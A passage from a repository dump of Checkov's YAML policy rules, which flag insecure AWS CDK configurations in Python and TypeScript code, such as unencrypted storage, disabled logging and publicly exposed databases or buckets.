aws_cdk.aws_ecr.CfnRepository() conditions: - not_pattern: | aws_cdk.aws_ecr.CfnRepository(, encryption_configuration={'encryptionType': 'KMS'} ,) ================================================ FILE: checkov/cdk/checks/python/ECSClusterContainerInsights.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_65 name: Ensure container insights are enabled on ECS cluster category: LOGGING framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_ecs.CfnCluster() conditions: - not_pattern: | aws_cdk.aws_ecs.CfnCluster(, cluster_settings=[, {'name': 'containerInsights', 'value': 'enabled'} ,], ) - not_pattern: | aws_cdk.aws_ecs.CfnCluster(, cluster_settings=[, {'value': 'enabled', 'name': 'containerInsights'} ,], ) - not_pattern: | aws_cdk.aws_ecs.CfnCluster(, cluster_settings=[, {'name': 'containerInsights', 'value': 'enhanced'} ,], ) - not_pattern: | aws_cdk.aws_ecs.CfnCluster(, cluster_settings=[, {'value': 'enhanced', 'name': 'containerInsights'} ,], ) - pattern: aws_cdk.aws_ecs.Cluster() conditions: - not_pattern: | aws_cdk.aws_ecs.Cluster(, container_insights=True, ) - not_pattern: | aws_cdk.aws_ecs.Cluster(, container_insights_v2=aws_ecs.ContainerInsights.ENABLED, ) - not_pattern: | aws_cdk.aws_ecs.Cluster(, container_insights_v2=aws_ecs.ContainerInsights.ENHANCED, ) ================================================ FILE: checkov/cdk/checks/python/ECSTaskDefinitionEFSVolumeEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_97 name: Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: | aws_cdk.aws_ecs.CfnTaskDefinition(, volumes=[, {'efs_volume_configuration':{'transit_encryption': 'DISABLED'}} ,] ,) ================================================ FILE: checkov/cdk/checks/python/EFSEncryptionEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_42 name: Ensure EFS is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_efs.FileSystem() conditions: - not_pattern: aws_cdk.aws_efs.FileSystem(, encrypted=True, ) ================================================ FILE: checkov/cdk/checks/python/EKSSecretsEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_58 name: Ensure EKS Cluster has Secrets Encryption Enabled category: KUBERNETES framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_eks.CfnCluster() conditions: - not_pattern: | aws_cdk.aws_eks.CfnCluster(, encryption_config=[, {'resources':[, 'secrets' ,]} ,] , ) ================================================ FILE: checkov/cdk/checks/python/ELBAccessLogs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_92 name: Ensure the ELB has access logging enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticloadbalancing.CfnLoadBalancer() conditions: - not_pattern: aws_cdk.aws_elasticloadbalancing.CfnLoadBalancer(, access_logging_policy=aws_cdk.aws_elasticloadbalancing.CfnLoadBalancer.AccessLoggingPolicyProperty(, enabled=True ,) ,) ================================================ FILE: checkov/cdk/checks/python/ELBv2AccessLogs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_91 name: Ensure the ELBv2 (Application/Network) has access logging enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer() conditions: - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(, load_balancer_attributes=[, aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer.LoadBalancerAttributeProperty(, key="access_logs.s3.enabled", , value="true", ) ,] ,) - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(, load_balancer_attributes=[, aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer.LoadBalancerAttributeProperty(, value="true", , key="access_logs.s3.enabled", ) ,] ,) ================================================ FILE: checkov/cdk/checks/python/ElasticacheReplicationGroupEncryptionAtRest.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_29 name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticache.CfnReplicationGroup() conditions: - not_pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(, at_rest_encryption_enabled=True, ) ================================================ FILE: checkov/cdk/checks/python/ElasticacheReplicationGroupEncryptionAtTransit.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_30 name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticache.CfnReplicationGroup() conditions: - not_pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(, transit_encryption_enabled=True, ) ================================================ FILE: checkov/cdk/checks/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_31 name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticache.CfnReplicationGroup() conditions: - not_pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(, transit_encryption_enabled=True ,, auth_token=$ARG, ) - not_pattern: aws_cdk.aws_elasticache.CfnReplicationGroup(, auth_token=$ARG ,, transit_encryption_enabled=True, ) ================================================ FILE: checkov/cdk/checks/python/ElasticsearchDomainEnforceHTTPS.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_83 name: Ensure Elasticsearch Domain enforces HTTPS category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticsearch.CfnDomain() conditions: - not_pattern: aws_cdk.aws_elasticsearch.CfnDomain(, domain_endpoint_options=aws_cdk.aws_elasticsearch.CfnDomain.DomainEndpointOptionsProperty(, enforce_https=True , ) , ) - not_pattern: | $P = aws_cdk.aws_elasticsearch.CfnDomain.DomainEndpointOptionsProperty(, enforce_https=True , ) aws_cdk.aws_elasticsearch.CfnDomain(, domain_endpoint_options=$P , ) ================================================ FILE: checkov/cdk/checks/python/ElasticsearchDomainLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_84 name: Ensure Elasticsearch Domain Logging is enabled category: LOGGING framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_elasticsearch.CfnDomain() conditions: - not_pattern: | aws_cdk.aws_elasticsearch.CfnDomain(, log_publishing_options={'logPublishingOptionsKey': aws_cdk.aws_elasticsearch.CfnDomain.LogPublishingOptionProperty(, enabled=True ,)} ,) - pattern: aws_cdk.aws_opensearchservice.CfnDomain() conditions: - not_pattern: | aws_cdk.aws_opensearchservice.CfnDomain(, log_publishing_options={'logPublishingOptionsKey': aws_cdk.aws_opensearchservice.CfnDomain.LogPublishingOptionProperty(, enabled=True ,)} ,) ================================================ FILE: checkov/cdk/checks/python/ElasticsearchEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_5 name: Ensure all data stored in the Elasticsearch is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticsearch.CfnDomain() conditions: - not_pattern: | aws_cdk.aws_elasticsearch.CfnDomain(, encryption_at_rest_options={'enabled': True} ,) ================================================ FILE: checkov/cdk/checks/python/ElasticsearchNodeToNodeEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_6 name: Ensure all Elasticsearch has node-to-node encryption enabled category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticsearch.CfnDomain() conditions: - not_pattern: | aws_cdk.aws_elasticsearch.CfnDomain(, node_to_node_encryption_options={'enabled': True} , ) ================================================ FILE: checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_94 name: Ensure Glue Data Catalog Encryption is enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_glue.CfnDataCatalogEncryptionSettings() conditions: - not_pattern: | aws_cdk.aws_glue.CfnDataCatalogEncryptionSettings(, data_catalog_encryption_settings={'ConnectionPasswordEncryption':{'ReturnConnectionPasswordEncrypted': True}, 'EncryptionAtRest':{'CatalogEncryptionMode': 'SSE-KMS'}} ,) ================================================ FILE: checkov/cdk/checks/python/GlueSecurityConfiguration.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_99 name: Ensure Glue Security Configuration Encryption is enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_glue.CfnSecurityConfiguration() conditions: - not_pattern: | aws_cdk.aws_glue.CfnSecurityConfiguration(, encryption_configuration={'CloudWatchEncryption': {'CloudWatchEncryptionMode': 'SSE-KMS'}, 'JobBookmarksEncryption': {'JobBookmarksEncryptionMode': 'CSE-KMS'}, 'S3Encryptions': [,{'S3EncryptionMode': 'SSE-KMS'}, ]}, ) - not_pattern: | aws_cdk.aws_glue.CfnSecurityConfiguration(, encryption_configuration={'CloudWatchEncryption': {'CloudWatchEncryptionMode': 'SSE-KMS'}, 'JobBookmarksEncryption': {'JobBookmarksEncryptionMode': 'CSE-KMS'}, 'S3Encryptions': [,{'S3EncryptionMode': 'SSE-S3'}, ]}, ) ================================================ FILE: checkov/cdk/checks/python/GlueSecurityConfigurationEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_195 name: Ensure Glue component has a security configuration associated category: ENCRYPTION framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_glue.CfnCrawler() conditions: - not_pattern: aws_cdk.aws_glue.CfnCrawler(, crawler_security_configuration=$CON , ) - pattern: aws_cdk.aws_glue.CfnDevEndpoint() conditions: not_pattern: aws_cdk.aws_glue.CfnDevEndpoint(, security_configuration=$VAL , ) - pattern: aws_cdk.aws_glue.CfnJob() conditions: not_pattern: aws_cdk.aws_glue.CfnJob(, security_configuration=$VAL , ) ================================================ FILE: checkov/cdk/checks/python/IAMPolicyAttachedToGroupOrRoles.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_40 name: Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) category: IAM framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_iam.Policy(, users=[], ) - pattern: | $P = aws_cdk.aws_iam.Policy() $P.attachToUser() ================================================ FILE: checkov/cdk/checks/python/KinesisStreamEncryptionType.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_43 name: Ensure Kinesis Stream is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_kinesis.CfnStream() conditions: - not_pattern: | aws_cdk.aws_kinesis.CfnStream(, stream_encryption={, "encryption_type": "KMS", } , ) ================================================ FILE: checkov/cdk/checks/python/LambdaDLQConfigured.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_116 name: Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_lambda.Function() conditions: - not_pattern: aws_cdk.aws_lambda.Function(, dead_letter_queue=$ARG, ) - pattern: aws_cdk.aws_lambda.CfnFunction() conditions: - not_pattern: aws_cdk.aws_lambda.CfnFunction(, dead_letter_config=$ARG, ) - pattern: aws_cdk.aws_sam.CfnFunction() conditions: - not_pattern: aws_cdk.aws_sam.CfnFunction(, dead_letter_queue=$ARG, ) ================================================ FILE: checkov/cdk/checks/python/LambdaEnvironmentCredentials.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_45 name: Ensure no hard-coded secrets exist in lambda environment category: SECRETS framework: cdk scope: languages: - python definition: patterns: or: - pattern: | aws_cdk.aws_lambda.Function(, environment={'$ARG1':'$ARG2'} ,) - pattern: | aws_cdk.aws_sam.CfnFunction(, environment={'$ARG1':'$ARG2'} ,) ================================================ FILE: checkov/cdk/checks/python/LambdaEnvironmentEncryptionSettings.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_173 name: Check encryption settings for Lambda environmental variable category: Encryption framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_lambda.Function(, environment={$ARG1:$ARG2} ,) conditions: - not_pattern: | aws_cdk.aws_lambda.Function(, environment={$ARG1:$ARG2} ,, kms_key=aws_cdk.aws_lambda.Key.from_key_arn(), ) - not_pattern: | aws_cdk.aws_lambda.Function(, kms_key=aws_cdk.aws_lambda.Key.from_key_arn() ,, environment={$ARG1:$ARG2} , ) - pattern: aws_cdk.aws_sam.CfnFunction(, environment={$ARG1:$ARG2} ,) conditions: - not_pattern: | aws_cdk.aws_sam.CfnFunction(, environment={$ARG1:$ARG2} ,, kms_key_arn=$ARG, ) - not_pattern: | aws_cdk.aws_sam.CfnFunction(, kms_key_arn=$ARG ,, environment={$ARG1:$ARG2} , ) ================================================ FILE: checkov/cdk/checks/python/LambdaFunctionLevelConcurrentExecutionLimit.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_115 name: Ensure that AWS Lambda function is configured for function-level concurrent execution limit category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_lambda.Function() conditions: - not_pattern: aws_cdk.aws_lambda.Function(, reserved_concurrent_executions=$NUM, ) - pattern: aws_cdk.aws_sam.CfnFunction() conditions: - not_pattern: aws_cdk.aws_sam.CfnFunction(, reserved_concurrent_executions=$NUM, ) ================================================ FILE: checkov/cdk/checks/python/LambdaInVPC.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_117 name: Ensure that AWS Lambda function is configured inside a VPC category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_lambda.Function() conditions: - not_pattern: aws_cdk.aws_lambda.Function(, vpc=$VPC, ) - pattern: aws_cdk.aws_sam.CfnFunction() conditions: - not_pattern: aws_cdk.aws_sam.CfnFunction(, vpc_config=$ARG, ) ================================================ FILE: checkov/cdk/checks/python/LaunchConfigurationEBSEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_8 name: Ensure all data stored in the Launch configuration EBS is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: | aws_cdk.aws_autoscaling.CfnLaunchConfiguration(, block_device_mappings=[, {'ebs':{'encrypted': False}} ,] ,) ================================================ FILE: checkov/cdk/checks/python/NeptuneClusterStorageEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_44 name: Ensure Neptune storage is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_neptune.CfnDBCluster() conditions: - not_pattern: aws_cdk.aws_neptune.CfnDBCluster(, storage_encrypted=True , ) - pattern: aws_cdk.aws_neptune.DatabaseCluster() conditions: - not_pattern: aws_cdk.aws_neptune.DatabaseCluster(, storage_encrypted=True , ) ================================================ FILE: checkov/cdk/checks/python/RDSEnhancedMonitorEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_118 name: Ensure that enhanced monitoring is enabled for Amazon RDS instances category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_rds.DatabaseInstance() conditions: - not_pattern: aws_cdk.aws_rds.DatabaseInstance(, monitoring_interval=$COUNT , ) - metavariable: $COUNT comparison: $COUNT != 0 ================================================ FILE: checkov/cdk/checks/python/RDSMultiAZEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_157 name: Ensure that RDS instances have Multi-AZ enabled category: NETWORKING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_rds.CfnDBInstance() conditions: - not_pattern: aws_cdk.aws_rds.CfnDBInstance(, multi_az=True ,) ================================================ FILE: checkov/cdk/checks/python/RDSPubliclyAccessible.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_17 name: Ensure all data stored in RDS is not publicly accessible category: NETWORKING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_rds.DatabaseInstance(, publicly_accessible=True , ) ================================================ FILE: checkov/cdk/checks/python/RedShiftSSL.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_105 name: Ensure Redshift uses SSL category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_redshift.CfnClusterParameterGroup() conditions: - not_pattern: aws_cdk.aws_redshift.CfnClusterParameterGroup(, parameters=[, aws_cdk.aws_redshift.CfnClusterParameterGroup.ParameterProperty(, parameter_name='require_ssl', , parameter_value='true', ) ,] , ) - not_pattern: aws_cdk.aws_redshift.CfnClusterParameterGroup(, parameters=[, aws_cdk.aws_redshift.CfnClusterParameterGroup.ParameterProperty(, parameter_value='true', , parameter_name='require_ssl', ) ,] , ) - not_pattern: | aws_cdk.aws_redshift.CfnClusterParameterGroup(, parameters=[, {'parameterName': 'require_ssl','parameterValue': 'true'} ,] , ) - not_pattern: | aws_cdk.aws_redshift.CfnClusterParameterGroup(, parameters=[, {'parameterValue': 'true','parameterName': 'require_ssl'} ,] , ) ================================================ FILE: checkov/cdk/checks/python/RedshiftClusterEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_64 name: Ensure all data stored in the Redshift cluster is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_redshift.CfnCluster() conditions: - not_pattern: aws_cdk.aws_redshift.CfnCluster(, encrypted=True , ) ================================================ FILE: checkov/cdk/checks/python/RedshiftClusterLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_71 name: Ensure Redshift Cluster logging is enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_redshift.CfnCluster() conditions: - not_pattern: aws_cdk.aws_redshift.CfnCluster(, logging_properties=aws_cdk.aws_redshift.CfnCluster.LoggingPropertiesProperty(, bucket_name=$ARG ,) ,) ================================================ FILE: checkov/cdk/checks/python/RedshiftClusterPubliclyAccessible.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_87 name: Redshift cluster should not be publicly accessible category: NETWORKING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_redshift.CfnCluster(, publicly_accessible=True , ) ================================================ FILE: checkov/cdk/checks/python/RedshiftInEc2ClassicMode.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_154 name: Ensure Redshift is not deployed outside of a VPC category: NETWORKING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_redshift.CfnCluster() conditions: - not_pattern: aws_cdk.aws_redshift.CfnCluster(, cluster_subnet_group_name=$ARG ,) ================================================ FILE: checkov/cdk/checks/python/S3BlockPublicACLs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_53 name: Ensure S3 bucket has block public ACLS enabled category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, block_public_access=aws_cdk.aws_s3.BlockPublicAccess(, block_public_acls=True, ), ) - pattern: aws_cdk.aws_s3.CfnBucket() conditions: - not_pattern: 'aws_cdk.aws_s3.CfnBucket(, public_access_block_configuration={, "blockPublicAcls": True, } , )' ================================================ FILE: checkov/cdk/checks/python/S3BlockPublicPolicy.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_54 name: Ensure S3 bucket has block public policy enabled category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, block_public_access=aws_cdk.aws_s3.BlockPublicAccess.BLOCK_ALL, ) - not_pattern: aws_cdk.aws_s3.Bucket(, block_public_access=aws_cdk.aws_s3.BlockPublicAccess(block_public_policy=True), ) ================================================ FILE: checkov/cdk/checks/python/S3BucketEncryption.yaml ================================================ metadata: version: 0.2 id: CKV_AWS_19 name: Ensure all data stored in the S3 bucket is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, encryption=aws_cdk.aws_s3.BucketEncryption.$ANY_VAR, ) - pattern: aws_cdk.aws_s3.Bucket(, encryption=aws_cdk.aws_s3.BucketEncryption.UNENCRYPTED, ) ================================================ FILE: checkov/cdk/checks/python/S3BucketKMSEncryption.yaml ================================================ metadata: version: 0.2 id: CKV_AWS_145 name: Ensure that S3 buckets are encrypted with KMS by default category: ENCRYPTION framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, encryption=aws_cdk.aws_s3.BucketEncryption.$ANY_VAR, ) - pattern: aws_cdk.aws_s3.Bucket(, encryption=aws_cdk.aws_s3.BucketEncryption.$ENCRYPTION, ) conditions: - metavariable: $ENCRYPTION regex: ^(S3_MANAGED|UNENCRYPTED)$ ================================================ FILE: checkov/cdk/checks/python/S3BucketLogging.yaml ================================================ metadata: version: 0.2 id: CKV_AWS_18 name: Ensure the S3 bucket has access logging enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, server_access_logs_bucket=$ANY_VAR, ) ================================================ FILE: checkov/cdk/checks/python/S3BucketPublicAccessBlock.yaml ================================================ metadata: version: 0.2 id: CKV2_AWS_6 name: Ensure that S3 bucket has a Public Access block category: NETWORKING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, block_public_access=$ANY_VAR, ) ================================================ FILE: checkov/cdk/checks/python/S3BucketVersioning.yaml ================================================ metadata: version: 0.2 id: CKV_AWS_21 name: Ensure all data stored in the S3 bucket have versioning enabled category: BACKUP_AND_RECOVERY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, versioned=True, ) ================================================ FILE: checkov/cdk/checks/python/S3IgnorePublicACLs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_55 name: Ensure S3 bucket has ignore public ACLs enabled category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, block_public_access=aws_cdk.aws_s3.BlockPublicAccess.BLOCK_ALL, ) - not_pattern: aws_cdk.aws_s3.Bucket(, block_public_access=aws_cdk.aws_s3.BlockPublicAccess.BLOCK_ACLS, ) - not_pattern: aws_cdk.aws_s3.Bucket(, block_public_access=aws_cdk.aws_s3.BlockPublicAccess(ignore_public_acls=True), ) ================================================ FILE: checkov/cdk/checks/python/S3PublicACLRead.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_20 name: Ensure the S3 bucket does not allow READ permissions to everyone category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: or: - pattern: aws_cdk.aws_s3.Bucket(, access_control=$ARG, ) conditions: or: - metavariable: $ARG pattern: aws_cdk.aws_s3.BucketAccessControl.PUBLIC_READ - metavariable: $ARG pattern: aws_cdk.aws_s3.BucketAccessControl.PUBLIC_READ_WRITE - pattern: aws_cdk.aws_s3.Bucket(, public_read_access=True, ) ================================================ FILE: checkov/cdk/checks/python/S3PublicACLWrite.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_57 name: Ensure the S3 bucket does not allow WRITE permissions to everyone category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: or: - pattern: aws_cdk.aws_s3.Bucket(, access_control=$ARG, ) conditions: - metavariable: $ARG pattern: aws_cdk.aws_s3.BucketAccessControl.PUBLIC_READ_WRITE - pattern: aws_cdk.aws_s3.Bucket(, public_read_access=True, ) ================================================ FILE: checkov/cdk/checks/python/S3RestrictPublicBuckets.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_56 name: Ensure S3 bucket has 'restrict_public_buckets' enabled category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_s3.Bucket() conditions: - not_pattern: aws_cdk.aws_s3.Bucket(, restrict_public_buckets=True, ) - pattern: aws_cdk.aws_s3.CfnBucket() conditions: - not_pattern: 'aws_cdk.aws_s3.CfnBucket(, public_access_block_configuration={, "restrictPublicBuckets": True, } , )' ================================================ FILE: checkov/cdk/checks/python/SNSTopicEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_26 name: Ensure all data stored in the SNS topic is encrypted category: Encryption framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_sns.Topic() conditions: - not_pattern: aws_cdk.aws_sns.Topic(,master_key=$ARG) ================================================ FILE: checkov/cdk/checks/python/SQSQueueEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_27 name: Ensure all data stored in the SQS queue is encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_sqs.Queue() conditions: - not_pattern: aws_cdk.aws_sqs.Queue(, encryption_master_key=$KEY, ) - pattern: aws_cdk.aws_sqs.CfnQueue() conditions: - not_pattern: aws_cdk.aws_sqs.CfnQueue(, kms_master_key_id=$KEY, ) ================================================ FILE: checkov/cdk/checks/python/SecretManagerSecretEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_149 name: Ensure that Secrets Manager secret is encrypted using KMS CMK category: ENCRYPTION framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_secretsmanager.Secret() conditions: - not_pattern: aws_cdk.aws_secretsmanager.Secret(, kms_key_id=$ARG , ) - pattern: aws_cdk.aws_secretsmanager.Secret(, kms_key_id=$ARG2 , ) conditions: - metavariable: $ARG2 regex: (aws/) ================================================ FILE: checkov/cdk/checks/python/SecurityGroupRuleDescription.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_23 name: Ensure every security groups rule has a description category: NETWORKING framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_ec2.CfnSecurityGroup(, security_group_egress=[] ,) conditions: - not_pattern: | aws_cdk.aws_ec2.CfnSecurityGroup(, security_group_egress=[, {, 'description': 'True' ,} ,] ,) - pattern: aws_cdk.aws_ec2.CfnSecurityGroup(, security_group_ingress=[] ,) conditions: - not_pattern: | aws_cdk.aws_ec2.CfnSecurityGroup(, security_group_ingress=[, {, 'description': 'True' ,} ,] ,) - pattern: aws_cdk.aws_ec2.CfnSecurityGroupIngress() conditions: - not_pattern: aws_cdk.aws_ec2.CfnSecurityGroupIngress(, description=$ARG ,) - pattern: aws_cdk.aws_ec2.CfnSecurityGroupEgress() conditions: - not_pattern: aws_cdk.aws_ec2.CfnSecurityGroupEgress(, description=$ARG ,) ================================================ FILE: checkov/cdk/checks/python/TransferServerIsPublic.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_164 name: Ensure Transfer Server is not exposed publicly. category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_transfer.CfnServer() conditions: - not_pattern: aws_cdk.aws_transfer.CfnServer(, endpoint_type='VPC', ) - not_pattern: aws_cdk.aws_transfer.CfnServer(, endpoint_type='VPC_ENDPOINT' , ) ================================================ FILE: checkov/cdk/checks/python/VPCEndpointAcceptanceConfigured.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_123 name: Ensure that VPC Endpoint Service is configured for Manual Acceptance category: NETWORKING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_ec2.CfnVPCEndpointService() conditions: - not_pattern: aws_cdk.aws_ec2.CfnVPCEndpointService(, acceptance_required=True ,) ================================================ FILE: checkov/cdk/checks/python/WAFEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_68 name: CloudFront Distribution should have WAF enabled category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_cloudfront.CfnDistribution() conditions: - not_pattern: 'aws_cdk.aws_cloudfront.CfnDistribution(, distribution_config={"webAclId": $ARG} , )' ================================================ FILE: checkov/cdk/checks/python/WorkspaceRootVolumeEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_156 name: Ensure that Workspace root volumes are encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_workspaces.CfnWorkspace() conditions: - not_pattern: aws_cdk.aws_workspaces.CfnWorkspace(, root_volume_encryption_enabled=True , ) ================================================ FILE: checkov/cdk/checks/python/WorkspaceUserVolumeEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_155 name: Ensure that Workspace user volumes are encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_workspaces.CfnWorkspace() conditions: - not_pattern: aws_cdk.aws_workspaces.CfnWorkspace(, user_volume_encryption_enabled=True , ) ================================================ FILE: checkov/cdk/checks/typescript/ALBDropHttpHeaders.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_131 name: Ensure that ALB drops HTTP headers category: NETWORKING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnLoadBalancer() conditions: - not_pattern: | new $AWS.CfnLoadBalancer(, { , type: 'application', , loadBalancerAttributes: [, {'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'} ,] }, ) - not_pattern: | new $AWS.CfnLoadBalancer(, { , type: 'application', , loadBalancerAttributes: [, {'value': 'true', 'key': 'routing.http.drop_invalid_header_fields.enabled'} ,] }, ) - not_pattern: | new 